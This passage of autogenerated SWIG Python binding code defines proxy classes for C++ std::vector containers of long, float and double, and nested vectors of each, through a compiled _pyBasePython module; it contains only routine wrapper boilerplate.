vectorSL.rbegin = new_instancemethod(_pyBasePython.vectorSL_rbegin,None,vectorSL) vectorSL.rend = new_instancemethod(_pyBasePython.vectorSL_rend,None,vectorSL) vectorSL.pop_back = new_instancemethod(_pyBasePython.vectorSL_pop_back,None,vectorSL) vectorSL.erase = new_instancemethod(_pyBasePython.vectorSL_erase,None,vectorSL) vectorSL.push_back = new_instancemethod(_pyBasePython.vectorSL_push_back,None,vectorSL) vectorSL.front = new_instancemethod(_pyBasePython.vectorSL_front,None,vectorSL) vectorSL.back = new_instancemethod(_pyBasePython.vectorSL_back,None,vectorSL) vectorSL.assign = new_instancemethod(_pyBasePython.vectorSL_assign,None,vectorSL) vectorSL.resize = new_instancemethod(_pyBasePython.vectorSL_resize,None,vectorSL) vectorSL.insert = new_instancemethod(_pyBasePython.vectorSL_insert,None,vectorSL) vectorSL.reserve = new_instancemethod(_pyBasePython.vectorSL_reserve,None,vectorSL) vectorSL.capacity = new_instancemethod(_pyBasePython.vectorSL_capacity,None,vectorSL) vectorSL_swigregister = _pyBasePython.vectorSL_swigregister vectorSL_swigregister(vectorSL) class vectorvectorSL(object): """Proxy of C++ std::vector<(std::vector<(long)>)> class""" thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') __repr__ = _swig_repr def iterator(self): """iterator(self) -> SwigPyIterator""" return _pyBasePython.vectorvectorSL_iterator(self) def __iter__(self): return self.iterator() def __nonzero__(self): """__nonzero__(self) -> bool""" return _pyBasePython.vectorvectorSL___nonzero__(self) def __bool__(self): """__bool__(self) -> bool""" return _pyBasePython.vectorvectorSL___bool__(self) def __len__(self): """__len__(self) -> size_type""" return _pyBasePython.vectorvectorSL___len__(self) def pop(self): """pop(self) -> value_type""" return _pyBasePython.vectorvectorSL_pop(self) def __getslice__(self, *args): """__getslice__(self, difference_type i, difference_type j) -> vectorvectorSL""" return _pyBasePython.vectorvectorSL___getslice__(self, *args) def __setslice__(self, *args): """__setslice__(self, difference_type i, difference_type j, vectorvectorSL v)""" return _pyBasePython.vectorvectorSL___setslice__(self, *args) def __delslice__(self, *args): """__delslice__(self, difference_type i, difference_type j)""" return _pyBasePython.vectorvectorSL___delslice__(self, *args) def __delitem__(self, *args): """ __delitem__(self, difference_type i) __delitem__(self, PySliceObject slice) """ return _pyBasePython.vectorvectorSL___delitem__(self, *args) def __getitem__(self, *args): """ __getitem__(self, PySliceObject slice) -> vectorvectorSL __getitem__(self, difference_type i) -> value_type """ return _pyBasePython.vectorvectorSL___getitem__(self, *args) def __setitem__(self, *args): """ __setitem__(self, PySliceObject slice, vectorvectorSL v) __setitem__(self, difference_type i, value_type x) """ return _pyBasePython.vectorvectorSL___setitem__(self, *args) def append(self, *args): """append(self, value_type x)""" return _pyBasePython.vectorvectorSL_append(self, *args) def empty(self): """empty(self) -> bool""" return _pyBasePython.vectorvectorSL_empty(self) def size(self): """size(self) -> size_type""" return _pyBasePython.vectorvectorSL_size(self) def clear(self): """clear(self)""" return _pyBasePython.vectorvectorSL_clear(self) def swap(self, *args): """swap(self, vectorvectorSL v)""" return _pyBasePython.vectorvectorSL_swap(self, *args) def get_allocator(self): """get_allocator(self) -> allocator_type""" return _pyBasePython.vectorvectorSL_get_allocator(self) def begin(self): """begin(self) -> const_iterator""" return _pyBasePython.vectorvectorSL_begin(self) def end(self): """end(self) -> const_iterator""" return _pyBasePython.vectorvectorSL_end(self) def rbegin(self): """rbegin(self) -> const_reverse_iterator""" return _pyBasePython.vectorvectorSL_rbegin(self) def rend(self): """rend(self) -> const_reverse_iterator""" return _pyBasePython.vectorvectorSL_rend(self) def pop_back(self): """pop_back(self)""" return _pyBasePython.vectorvectorSL_pop_back(self) def erase(self, *args): """ erase(self, iterator pos) -> iterator erase(self, iterator first, iterator last) -> iterator """ return _pyBasePython.vectorvectorSL_erase(self, *args) def __init__(self, *args): """ __init__(self) -> vectorvectorSL __init__(self, vectorvectorSL arg0) -> vectorvectorSL __init__(self, size_type size) -> vectorvectorSL __init__(self, size_type size, value_type value) -> vectorvectorSL """ _pyBasePython.vectorvectorSL_swiginit(self,_pyBasePython.new_vectorvectorSL(*args)) def push_back(self, *args): """push_back(self, value_type x)""" return _pyBasePython.vectorvectorSL_push_back(self, *args) def front(self): """front(self) -> value_type""" return _pyBasePython.vectorvectorSL_front(self) def back(self): """back(self) -> value_type""" return _pyBasePython.vectorvectorSL_back(self) def assign(self, *args): """assign(self, size_type n, value_type x)""" return _pyBasePython.vectorvectorSL_assign(self, *args) def resize(self, *args): """ resize(self, size_type new_size) resize(self, size_type new_size, value_type x) """ return _pyBasePython.vectorvectorSL_resize(self, *args) def insert(self, *args): """ insert(self, iterator pos, value_type x) -> iterator insert(self, iterator pos, size_type n, value_type x) """ return _pyBasePython.vectorvectorSL_insert(self, *args) def reserve(self, *args): """reserve(self, size_type n)""" return _pyBasePython.vectorvectorSL_reserve(self, *args) def capacity(self): """capacity(self) -> size_type""" return _pyBasePython.vectorvectorSL_capacity(self) __swig_destroy__ = _pyBasePython.delete_vectorvectorSL vectorvectorSL.iterator = new_instancemethod(_pyBasePython.vectorvectorSL_iterator,None,vectorvectorSL) vectorvectorSL.__nonzero__ = new_instancemethod(_pyBasePython.vectorvectorSL___nonzero__,None,vectorvectorSL) vectorvectorSL.__bool__ = new_instancemethod(_pyBasePython.vectorvectorSL___bool__,None,vectorvectorSL) vectorvectorSL.__len__ = new_instancemethod(_pyBasePython.vectorvectorSL___len__,None,vectorvectorSL) vectorvectorSL.pop = new_instancemethod(_pyBasePython.vectorvectorSL_pop,None,vectorvectorSL) vectorvectorSL.__getslice__ = new_instancemethod(_pyBasePython.vectorvectorSL___getslice__,None,vectorvectorSL) vectorvectorSL.__setslice__ = new_instancemethod(_pyBasePython.vectorvectorSL___setslice__,None,vectorvectorSL) vectorvectorSL.__delslice__ = new_instancemethod(_pyBasePython.vectorvectorSL___delslice__,None,vectorvectorSL) vectorvectorSL.__delitem__ = new_instancemethod(_pyBasePython.vectorvectorSL___delitem__,None,vectorvectorSL) vectorvectorSL.__getitem__ = new_instancemethod(_pyBasePython.vectorvectorSL___getitem__,None,vectorvectorSL) vectorvectorSL.__setitem__ = new_instancemethod(_pyBasePython.vectorvectorSL___setitem__,None,vectorvectorSL) vectorvectorSL.append = new_instancemethod(_pyBasePython.vectorvectorSL_append,None,vectorvectorSL) vectorvectorSL.empty = new_instancemethod(_pyBasePython.vectorvectorSL_empty,None,vectorvectorSL) vectorvectorSL.size = new_instancemethod(_pyBasePython.vectorvectorSL_size,None,vectorvectorSL) vectorvectorSL.clear = new_instancemethod(_pyBasePython.vectorvectorSL_clear,None,vectorvectorSL) vectorvectorSL.swap = new_instancemethod(_pyBasePython.vectorvectorSL_swap,None,vectorvectorSL) vectorvectorSL.get_allocator = new_instancemethod(_pyBasePython.vectorvectorSL_get_allocator,None,vectorvectorSL) vectorvectorSL.begin = new_instancemethod(_pyBasePython.vectorvectorSL_begin,None,vectorvectorSL) vectorvectorSL.end = new_instancemethod(_pyBasePython.vectorvectorSL_end,None,vectorvectorSL) vectorvectorSL.rbegin = new_instancemethod(_pyBasePython.vectorvectorSL_rbegin,None,vectorvectorSL) vectorvectorSL.rend = new_instancemethod(_pyBasePython.vectorvectorSL_rend,None,vectorvectorSL) vectorvectorSL.pop_back = new_instancemethod(_pyBasePython.vectorvectorSL_pop_back,None,vectorvectorSL) vectorvectorSL.erase = new_instancemethod(_pyBasePython.vectorvectorSL_erase,None,vectorvectorSL) vectorvectorSL.push_back = new_instancemethod(_pyBasePython.vectorvectorSL_push_back,None,vectorvectorSL) vectorvectorSL.front = new_instancemethod(_pyBasePython.vectorvectorSL_front,None,vectorvectorSL) vectorvectorSL.back = new_instancemethod(_pyBasePython.vectorvectorSL_back,None,vectorvectorSL) vectorvectorSL.assign = new_instancemethod(_pyBasePython.vectorvectorSL_assign,None,vectorvectorSL) vectorvectorSL.resize = new_instancemethod(_pyBasePython.vectorvectorSL_resize,None,vectorvectorSL) vectorvectorSL.insert = new_instancemethod(_pyBasePython.vectorvectorSL_insert,None,vectorvectorSL) vectorvectorSL.reserve = new_instancemethod(_pyBasePython.vectorvectorSL_reserve,None,vectorvectorSL) vectorvectorSL.capacity = new_instancemethod(_pyBasePython.vectorvectorSL_capacity,None,vectorvectorSL) vectorvectorSL_swigregister = _pyBasePython.vectorvectorSL_swigregister vectorvectorSL_swigregister(vectorvectorSL) class vectorF(object): """Proxy of C++ std::vector<(float)> class""" thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') __repr__ = _swig_repr def iterator(self): """iterator(self) -> SwigPyIterator""" return _pyBasePython.vectorF_iterator(self) def __iter__(self): return self.iterator() def __nonzero__(self): """__nonzero__(self) -> bool""" return _pyBasePython.vectorF___nonzero__(self) def __bool__(self): """__bool__(self) -> bool""" return _pyBasePython.vectorF___bool__(self) def __len__(self): """__len__(self) -> size_type""" return _pyBasePython.vectorF___len__(self) def pop(self): """pop(self) -> value_type""" return _pyBasePython.vectorF_pop(self) def __getslice__(self, *args): """__getslice__(self, difference_type i, difference_type j) -> vectorF""" return _pyBasePython.vectorF___getslice__(self, *args) def __setslice__(self, *args): """__setslice__(self, difference_type i, difference_type j, vectorF v)""" return _pyBasePython.vectorF___setslice__(self, *args) def __delslice__(self, *args): """__delslice__(self, difference_type i, difference_type j)""" return _pyBasePython.vectorF___delslice__(self, *args) def __delitem__(self, *args): """ __delitem__(self, difference_type i) __delitem__(self, PySliceObject slice) """ return _pyBasePython.vectorF___delitem__(self, *args) def __getitem__(self, *args): """ __getitem__(self, PySliceObject slice) -> vectorF __getitem__(self, difference_type i) -> value_type """ return _pyBasePython.vectorF___getitem__(self, *args) def __setitem__(self, *args): """ __setitem__(self, PySliceObject slice, vectorF v) __setitem__(self, difference_type i, value_type x) """ return _pyBasePython.vectorF___setitem__(self, *args) def append(self, *args): """append(self, value_type x)""" return _pyBasePython.vectorF_append(self, *args) def empty(self): """empty(self) -> bool""" return _pyBasePython.vectorF_empty(self) def size(self): """size(self) -> size_type""" return _pyBasePython.vectorF_size(self) def clear(self): """clear(self)""" return _pyBasePython.vectorF_clear(self) def swap(self, *args): """swap(self, vectorF v)""" return _pyBasePython.vectorF_swap(self, *args) def get_allocator(self): """get_allocator(self) -> allocator_type""" return _pyBasePython.vectorF_get_allocator(self) def begin(self): """begin(self) -> const_iterator""" return _pyBasePython.vectorF_begin(self) def end(self): """end(self) -> const_iterator""" return _pyBasePython.vectorF_end(self) def rbegin(self): """rbegin(self) -> const_reverse_iterator""" return _pyBasePython.vectorF_rbegin(self) def rend(self): """rend(self) -> const_reverse_iterator""" return _pyBasePython.vectorF_rend(self) def pop_back(self): """pop_back(self)""" return _pyBasePython.vectorF_pop_back(self) def erase(self, *args): """ erase(self, iterator pos) -> iterator erase(self, iterator first, iterator last) -> iterator """ return _pyBasePython.vectorF_erase(self, *args) def __init__(self, *args): """ __init__(self) -> vectorF __init__(self, vectorF arg0) -> vectorF __init__(self, size_type size) -> vectorF __init__(self, size_type size, value_type value) -> vectorF """ _pyBasePython.vectorF_swiginit(self,_pyBasePython.new_vectorF(*args)) def push_back(self, *args): """push_back(self, value_type x)""" return _pyBasePython.vectorF_push_back(self, *args) def front(self): """front(self) -> value_type""" return _pyBasePython.vectorF_front(self) def back(self): """back(self) -> value_type""" return _pyBasePython.vectorF_back(self) def assign(self, *args): """assign(self, size_type n, value_type x)""" return _pyBasePython.vectorF_assign(self, *args) def resize(self, *args): """ resize(self, size_type new_size) resize(self, size_type new_size, value_type x) """ return _pyBasePython.vectorF_resize(self, *args) def insert(self, *args): """ insert(self, iterator pos, value_type x) -> iterator insert(self, iterator pos, size_type n, value_type x) """ return _pyBasePython.vectorF_insert(self, *args) def reserve(self, *args): """reserve(self, size_type n)""" return _pyBasePython.vectorF_reserve(self, *args) def capacity(self): """capacity(self) -> size_type""" return _pyBasePython.vectorF_capacity(self) __swig_destroy__ = _pyBasePython.delete_vectorF vectorF.iterator = new_instancemethod(_pyBasePython.vectorF_iterator,None,vectorF) vectorF.__nonzero__ = new_instancemethod(_pyBasePython.vectorF___nonzero__,None,vectorF) vectorF.__bool__ = new_instancemethod(_pyBasePython.vectorF___bool__,None,vectorF) vectorF.__len__ = new_instancemethod(_pyBasePython.vectorF___len__,None,vectorF) vectorF.pop = new_instancemethod(_pyBasePython.vectorF_pop,None,vectorF) vectorF.__getslice__ = new_instancemethod(_pyBasePython.vectorF___getslice__,None,vectorF) vectorF.__setslice__ = new_instancemethod(_pyBasePython.vectorF___setslice__,None,vectorF) vectorF.__delslice__ = new_instancemethod(_pyBasePython.vectorF___delslice__,None,vectorF) vectorF.__delitem__ = new_instancemethod(_pyBasePython.vectorF___delitem__,None,vectorF) vectorF.__getitem__ = new_instancemethod(_pyBasePython.vectorF___getitem__,None,vectorF) vectorF.__setitem__ = new_instancemethod(_pyBasePython.vectorF___setitem__,None,vectorF) vectorF.append = new_instancemethod(_pyBasePython.vectorF_append,None,vectorF) vectorF.empty = new_instancemethod(_pyBasePython.vectorF_empty,None,vectorF) vectorF.size = new_instancemethod(_pyBasePython.vectorF_size,None,vectorF) vectorF.clear = new_instancemethod(_pyBasePython.vectorF_clear,None,vectorF) vectorF.swap = new_instancemethod(_pyBasePython.vectorF_swap,None,vectorF) vectorF.get_allocator = new_instancemethod(_pyBasePython.vectorF_get_allocator,None,vectorF) vectorF.begin = new_instancemethod(_pyBasePython.vectorF_begin,None,vectorF) vectorF.end = new_instancemethod(_pyBasePython.vectorF_end,None,vectorF) vectorF.rbegin = new_instancemethod(_pyBasePython.vectorF_rbegin,None,vectorF) vectorF.rend = new_instancemethod(_pyBasePython.vectorF_rend,None,vectorF) vectorF.pop_back = new_instancemethod(_pyBasePython.vectorF_pop_back,None,vectorF) vectorF.erase = new_instancemethod(_pyBasePython.vectorF_erase,None,vectorF) vectorF.push_back = new_instancemethod(_pyBasePython.vectorF_push_back,None,vectorF) vectorF.front = new_instancemethod(_pyBasePython.vectorF_front,None,vectorF) vectorF.back = new_instancemethod(_pyBasePython.vectorF_back,None,vectorF) vectorF.assign = new_instancemethod(_pyBasePython.vectorF_assign,None,vectorF) vectorF.resize = new_instancemethod(_pyBasePython.vectorF_resize,None,vectorF) vectorF.insert = new_instancemethod(_pyBasePython.vectorF_insert,None,vectorF) vectorF.reserve = new_instancemethod(_pyBasePython.vectorF_reserve,None,vectorF) vectorF.capacity = new_instancemethod(_pyBasePython.vectorF_capacity,None,vectorF) vectorF_swigregister = _pyBasePython.vectorF_swigregister vectorF_swigregister(vectorF) class vectorvectorF(object): """Proxy of C++ std::vector<(std::vector<(float)>)> class""" thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') __repr__ = _swig_repr def iterator(self): """iterator(self) -> SwigPyIterator""" return _pyBasePython.vectorvectorF_iterator(self) def __iter__(self): return self.iterator() def __nonzero__(self): """__nonzero__(self) -> bool""" return _pyBasePython.vectorvectorF___nonzero__(self) def __bool__(self): """__bool__(self) -> bool""" return _pyBasePython.vectorvectorF___bool__(self) def __len__(self): """__len__(self) -> size_type""" return _pyBasePython.vectorvectorF___len__(self) def pop(self): """pop(self) -> value_type""" return _pyBasePython.vectorvectorF_pop(self) def __getslice__(self, *args): """__getslice__(self, difference_type i, difference_type j) -> vectorvectorF""" return _pyBasePython.vectorvectorF___getslice__(self, *args) def __setslice__(self, *args): """__setslice__(self, difference_type i, difference_type j, vectorvectorF v)""" return _pyBasePython.vectorvectorF___setslice__(self, *args) def __delslice__(self, *args): """__delslice__(self, difference_type i, difference_type j)""" return _pyBasePython.vectorvectorF___delslice__(self, *args) def __delitem__(self, *args): """ __delitem__(self, difference_type i) __delitem__(self, PySliceObject slice) """ return _pyBasePython.vectorvectorF___delitem__(self, *args) def __getitem__(self, *args): """ __getitem__(self, PySliceObject slice) -> vectorvectorF __getitem__(self, difference_type i) -> value_type """ return _pyBasePython.vectorvectorF___getitem__(self, *args) def __setitem__(self, *args): """ __setitem__(self, PySliceObject slice, vectorvectorF v) __setitem__(self, difference_type i, value_type x) """ return _pyBasePython.vectorvectorF___setitem__(self, *args) def append(self, *args): """append(self, value_type x)""" return _pyBasePython.vectorvectorF_append(self, *args) def empty(self): """empty(self) -> bool""" return _pyBasePython.vectorvectorF_empty(self) def size(self): """size(self) -> size_type""" return _pyBasePython.vectorvectorF_size(self) def clear(self): """clear(self)""" return _pyBasePython.vectorvectorF_clear(self) def swap(self, *args): """swap(self, vectorvectorF v)""" return _pyBasePython.vectorvectorF_swap(self, *args) def get_allocator(self): """get_allocator(self) -> allocator_type""" return _pyBasePython.vectorvectorF_get_allocator(self) def begin(self): """begin(self) -> const_iterator""" return _pyBasePython.vectorvectorF_begin(self) def end(self): """end(self) -> const_iterator""" return _pyBasePython.vectorvectorF_end(self) def rbegin(self): """rbegin(self) -> const_reverse_iterator""" return _pyBasePython.vectorvectorF_rbegin(self) def rend(self): """rend(self) -> const_reverse_iterator""" return _pyBasePython.vectorvectorF_rend(self) def pop_back(self): """pop_back(self)""" return _pyBasePython.vectorvectorF_pop_back(self) def erase(self, *args): """ erase(self, iterator pos) -> iterator erase(self, iterator first, iterator last) -> iterator """ return _pyBasePython.vectorvectorF_erase(self, *args) def __init__(self, *args): """ __init__(self) -> vectorvectorF __init__(self, vectorvectorF arg0) -> vectorvectorF __init__(self, size_type size) -> vectorvectorF __init__(self, size_type size, value_type value) -> vectorvectorF """ _pyBasePython.vectorvectorF_swiginit(self,_pyBasePython.new_vectorvectorF(*args)) def push_back(self, *args): """push_back(self, value_type x)""" return _pyBasePython.vectorvectorF_push_back(self, *args) def front(self): """front(self) -> value_type""" return _pyBasePython.vectorvectorF_front(self) def back(self): """back(self) -> value_type""" return _pyBasePython.vectorvectorF_back(self) def assign(self, *args): """assign(self, size_type n, value_type x)""" return _pyBasePython.vectorvectorF_assign(self, *args) def resize(self, *args): """ resize(self, size_type new_size) resize(self, size_type new_size, value_type x) """ return _pyBasePython.vectorvectorF_resize(self, *args) def insert(self, *args): """ insert(self, iterator pos, value_type x) -> iterator insert(self, iterator pos, size_type n, value_type x) """ return _pyBasePython.vectorvectorF_insert(self, *args) def reserve(self, *args): """reserve(self, size_type n)""" return _pyBasePython.vectorvectorF_reserve(self, *args) def capacity(self): """capacity(self) -> size_type""" return _pyBasePython.vectorvectorF_capacity(self) __swig_destroy__ = _pyBasePython.delete_vectorvectorF vectorvectorF.iterator = new_instancemethod(_pyBasePython.vectorvectorF_iterator,None,vectorvectorF) vectorvectorF.__nonzero__ = new_instancemethod(_pyBasePython.vectorvectorF___nonzero__,None,vectorvectorF) vectorvectorF.__bool__ = new_instancemethod(_pyBasePython.vectorvectorF___bool__,None,vectorvectorF) vectorvectorF.__len__ = new_instancemethod(_pyBasePython.vectorvectorF___len__,None,vectorvectorF) vectorvectorF.pop = new_instancemethod(_pyBasePython.vectorvectorF_pop,None,vectorvectorF) vectorvectorF.__getslice__ = new_instancemethod(_pyBasePython.vectorvectorF___getslice__,None,vectorvectorF) vectorvectorF.__setslice__ = new_instancemethod(_pyBasePython.vectorvectorF___setslice__,None,vectorvectorF) vectorvectorF.__delslice__ = new_instancemethod(_pyBasePython.vectorvectorF___delslice__,None,vectorvectorF) vectorvectorF.__delitem__ = new_instancemethod(_pyBasePython.vectorvectorF___delitem__,None,vectorvectorF) vectorvectorF.__getitem__ = new_instancemethod(_pyBasePython.vectorvectorF___getitem__,None,vectorvectorF) vectorvectorF.__setitem__ = new_instancemethod(_pyBasePython.vectorvectorF___setitem__,None,vectorvectorF) vectorvectorF.append = new_instancemethod(_pyBasePython.vectorvectorF_append,None,vectorvectorF) vectorvectorF.empty = new_instancemethod(_pyBasePython.vectorvectorF_empty,None,vectorvectorF) vectorvectorF.size = new_instancemethod(_pyBasePython.vectorvectorF_size,None,vectorvectorF) vectorvectorF.clear = new_instancemethod(_pyBasePython.vectorvectorF_clear,None,vectorvectorF) vectorvectorF.swap = new_instancemethod(_pyBasePython.vectorvectorF_swap,None,vectorvectorF) vectorvectorF.get_allocator = new_instancemethod(_pyBasePython.vectorvectorF_get_allocator,None,vectorvectorF) vectorvectorF.begin = new_instancemethod(_pyBasePython.vectorvectorF_begin,None,vectorvectorF) vectorvectorF.end = new_instancemethod(_pyBasePython.vectorvectorF_end,None,vectorvectorF) vectorvectorF.rbegin = new_instancemethod(_pyBasePython.vectorvectorF_rbegin,None,vectorvectorF) vectorvectorF.rend = new_instancemethod(_pyBasePython.vectorvectorF_rend,None,vectorvectorF) vectorvectorF.pop_back = new_instancemethod(_pyBasePython.vectorvectorF_pop_back,None,vectorvectorF) vectorvectorF.erase = new_instancemethod(_pyBasePython.vectorvectorF_erase,None,vectorvectorF) vectorvectorF.push_back = new_instancemethod(_pyBasePython.vectorvectorF_push_back,None,vectorvectorF) vectorvectorF.front = new_instancemethod(_pyBasePython.vectorvectorF_front,None,vectorvectorF) vectorvectorF.back = new_instancemethod(_pyBasePython.vectorvectorF_back,None,vectorvectorF) vectorvectorF.assign = new_instancemethod(_pyBasePython.vectorvectorF_assign,None,vectorvectorF) vectorvectorF.resize = new_instancemethod(_pyBasePython.vectorvectorF_resize,None,vectorvectorF) vectorvectorF.insert = new_instancemethod(_pyBasePython.vectorvectorF_insert,None,vectorvectorF) vectorvectorF.reserve = new_instancemethod(_pyBasePython.vectorvectorF_reserve,None,vectorvectorF) vectorvectorF.capacity = new_instancemethod(_pyBasePython.vectorvectorF_capacity,None,vectorvectorF) vectorvectorF_swigregister = _pyBasePython.vectorvectorF_swigregister vectorvectorF_swigregister(vectorvectorF) class vectorD(object): """Proxy of C++ std::vector<(double)> class""" thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') __repr__ = _swig_repr def iterator(self): """iterator(self) -> SwigPyIterator""" return _pyBasePython.vectorD_iterator(self) def __iter__(self): return self.iterator() def __nonzero__(self): """__nonzero__(self) -> bool""" return _pyBasePython.vectorD___nonzero__(self) def __bool__(self): """__bool__(self) -> bool""" return _pyBasePython.vectorD___bool__(self) def __len__(self): """__len__(self) -> size_type""" return _pyBasePython.vectorD___len__(self) def pop(self): """pop(self) -> value_type""" return _pyBasePython.vectorD_pop(self) def __getslice__(self, *args): """__getslice__(self, difference_type i, difference_type j) -> vectorD""" return _pyBasePython.vectorD___getslice__(self, *args) def __setslice__(self, *args): """__setslice__(self, difference_type i, difference_type j, vectorD v)""" return _pyBasePython.vectorD___setslice__(self, *args) def __delslice__(self, *args): """__delslice__(self, difference_type i, difference_type j)""" return _pyBasePython.vectorD___delslice__(self, *args) def __delitem__(self, *args): """ __delitem__(self, difference_type i) __delitem__(self, PySliceObject slice) """ return _pyBasePython.vectorD___delitem__(self, *args) def __getitem__(self, *args): """ __getitem__(self, PySliceObject slice) -> vectorD __getitem__(self, difference_type i) -> value_type """ return _pyBasePython.vectorD___getitem__(self, *args) def __setitem__(self, *args): """ __setitem__(self, PySliceObject slice, vectorD v) __setitem__(self, difference_type i, value_type x) """ return _pyBasePython.vectorD___setitem__(self, *args) def append(self, *args): """append(self, value_type x)""" return _pyBasePython.vectorD_append(self, *args) def empty(self): """empty(self) -> bool""" return _pyBasePython.vectorD_empty(self) def size(self): """size(self) -> size_type""" return _pyBasePython.vectorD_size(self) def clear(self): """clear(self)""" return _pyBasePython.vectorD_clear(self) def swap(self, *args): """swap(self, vectorD v)""" return _pyBasePython.vectorD_swap(self, *args) def get_allocator(self): """get_allocator(self) -> allocator_type""" return _pyBasePython.vectorD_get_allocator(self) def begin(self): """begin(self) -> const_iterator""" return _pyBasePython.vectorD_begin(self) def end(self): """end(self) -> const_iterator""" return _pyBasePython.vectorD_end(self) def rbegin(self): """rbegin(self) -> const_reverse_iterator""" return _pyBasePython.vectorD_rbegin(self) def rend(self): """rend(self) -> const_reverse_iterator""" return _pyBasePython.vectorD_rend(self) def pop_back(self): """pop_back(self)""" return _pyBasePython.vectorD_pop_back(self) def erase(self, *args): """ erase(self, iterator pos) -> iterator erase(self, iterator first, iterator last) -> iterator """ return _pyBasePython.vectorD_erase(self, *args) def __init__(self, *args): """ __init__(self) -> vectorD __init__(self, vectorD arg0) -> vectorD __init__(self, size_type size) -> vectorD __init__(self, size_type size, value_type value) -> vectorD """ _pyBasePython.vectorD_swiginit(self,_pyBasePython.new_vectorD(*args)) def push_back(self, *args): """push_back(self, value_type x)""" return _pyBasePython.vectorD_push_back(self, *args) def front(self): """front(self) -> value_type""" return _pyBasePython.vectorD_front(self) def back(self): """back(self) -> value_type""" return _pyBasePython.vectorD_back(self) def assign(self, *args): """assign(self, size_type n, value_type x)""" return _pyBasePython.vectorD_assign(self, *args) def resize(self, *args): """ resize(self, size_type new_size) resize(self, size_type new_size, value_type x) """ return _pyBasePython.vectorD_resize(self, *args) def insert(self, *args): """ insert(self, iterator pos, value_type x) -> iterator insert(self, iterator pos, size_type n, value_type x) """ return _pyBasePython.vectorD_insert(self, *args) def reserve(self, *args): """reserve(self, size_type n)""" return _pyBasePython.vectorD_reserve(self, *args) def capacity(self): """capacity(self) -> size_type""" return _pyBasePython.vectorD_capacity(self) __swig_destroy__ = _pyBasePython.delete_vectorD vectorD.iterator = new_instancemethod(_pyBasePython.vectorD_iterator,None,vectorD) vectorD.__nonzero__ = new_instancemethod(_pyBasePython.vectorD___nonzero__,None,vectorD) vectorD.__bool__ = new_instancemethod(_pyBasePython.vectorD___bool__,None,vectorD) vectorD.__len__ = new_instancemethod(_pyBasePython.vectorD___len__,None,vectorD) vectorD.pop = new_instancemethod(_pyBasePython.vectorD_pop,None,vectorD) vectorD.__getslice__ = new_instancemethod(_pyBasePython.vectorD___getslice__,None,vectorD) vectorD.__setslice__ = new_instancemethod(_pyBasePython.vectorD___setslice__,None,vectorD) vectorD.__delslice__ = new_instancemethod(_pyBasePython.vectorD___delslice__,None,vectorD) vectorD.__delitem__ = new_instancemethod(_pyBasePython.vectorD___delitem__,None,vectorD) vectorD.__getitem__ = new_instancemethod(_pyBasePython.vectorD___getitem__,None,vectorD) vectorD.__setitem__ = new_instancemethod(_pyBasePython.vectorD___setitem__,None,vectorD) vectorD.append = new_instancemethod(_pyBasePython.vectorD_append,None,vectorD) vectorD.empty = new_instancemethod(_pyBasePython.vectorD_empty,None,vectorD) vectorD.size = new_instancemethod(_pyBasePython.vectorD_size,None,vectorD) vectorD.clear = new_instancemethod(_pyBasePython.vectorD_clear,None,vectorD) vectorD.swap = new_instancemethod(_pyBasePython.vectorD_swap,None,vectorD) vectorD.get_allocator = new_instancemethod(_pyBasePython.vectorD_get_allocator,None,vectorD) vectorD.begin = new_instancemethod(_pyBasePython.vectorD_begin,None,vectorD) vectorD.end = new_instancemethod(_pyBasePython.vectorD_end,None,vectorD) vectorD.rbegin = new_instancemethod(_pyBasePython.vectorD_rbegin,None,vectorD) vectorD.rend = new_instancemethod(_pyBasePython.vectorD_rend,None,vectorD) vectorD.pop_back = new_instancemethod(_pyBasePython.vectorD_pop_back,None,vectorD) vectorD.erase = new_instancemethod(_pyBasePython.vectorD_erase,None,vectorD) vectorD.push_back = new_instancemethod(_pyBasePython.vectorD_push_back,None,vectorD) vectorD.front = new_instancemethod(_pyBasePython.vectorD_front,None,vectorD) vectorD.back = new_instancemethod(_pyBasePython.vectorD_back,None,vectorD) vectorD.assign = new_instancemethod(_pyBasePython.vectorD_assign,None,vectorD) vectorD.resize = new_instancemethod(_pyBasePython.vectorD_resize,None,vectorD) vectorD.insert = new_instancemethod(_pyBasePython.vectorD_insert,None,vectorD) vectorD.reserve = new_instancemethod(_pyBasePython.vectorD_reserve,None,vectorD) vectorD.capacity = new_instancemethod(_pyBasePython.vectorD_capacity,None,vectorD) vectorD_swigregister = _pyBasePython.vectorD_swigregister vectorD_swigregister(vectorD) class vectorvectorD(object): """Proxy of C++ std::vector<(std::vector<(double)>)> class""" thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') __repr__ = _swig_repr def iterator(self): """iterator(self) -> SwigPyIterator""" return _pyBasePython.vectorvectorD_iterator(self) def __iter__(self): return self.iterator() def __nonzero__(self): """__nonzero__(self) -> bool""" return _pyBasePython.vectorvectorD___nonzero__(self) def __bool__(self): """__bool__(self) -> bool""" return _pyBasePython.vectorvectorD___bool__(self) def __len__(self): """__len__(self) -> size_type""" return _pyBasePython.vectorvectorD___len__(self) def pop(self): """pop(self) -> value_type""" return _pyBasePython.vectorvectorD_pop(self) def __getslice__(self, *args): """__getslice__(self, difference_type i, difference_type j) -> vectorvectorD""" return _pyBasePython.vectorvectorD___getslice__(self, *args) def __setslice__(self, *args): """__setslice__(self, difference_type i, difference_type j, vectorvectorD v)""" return _pyBasePython.vectorvectorD___setslice__(self, *args) def __delslice__(self, *args): """__delslice__(self, difference_type i, difference_type j)""" return _pyBasePython.vectorvectorD___delslice__(self, *args) def __delitem__(self, *args): """ __delitem__(self, difference_type i) __delitem__(self, PySliceObject slice) """ return _pyBasePython.vectorvectorD___delitem__(self, *args) def __getitem__(self, *args): """ __getitem__(self, PySliceObject slice) -> vectorvectorD __getitem__(self, difference_type i) -> value_type """ return _pyBasePython.vectorvectorD___getitem__(self, *args) def __setitem__(self, *args): """ __setitem__(self, PySliceObject slice, vectorvectorD v) __setitem__(self, difference_type i, value_type x) """ return _pyBasePython.vectorvectorD___setitem__(self, *args) def append(self, *args): """append(self, value_type x)""" return _pyBasePython.vectorvectorD_append(self, *args) def empty(self): """empty(self) -> bool""" return _pyBasePython.vectorvectorD_empty(self) def size(self): """size(self) -> size_type""" return _pyBasePython.vectorvectorD_size(self) def clear(self): """clear(self)""" return _pyBasePython.vectorvectorD_clear(self) def 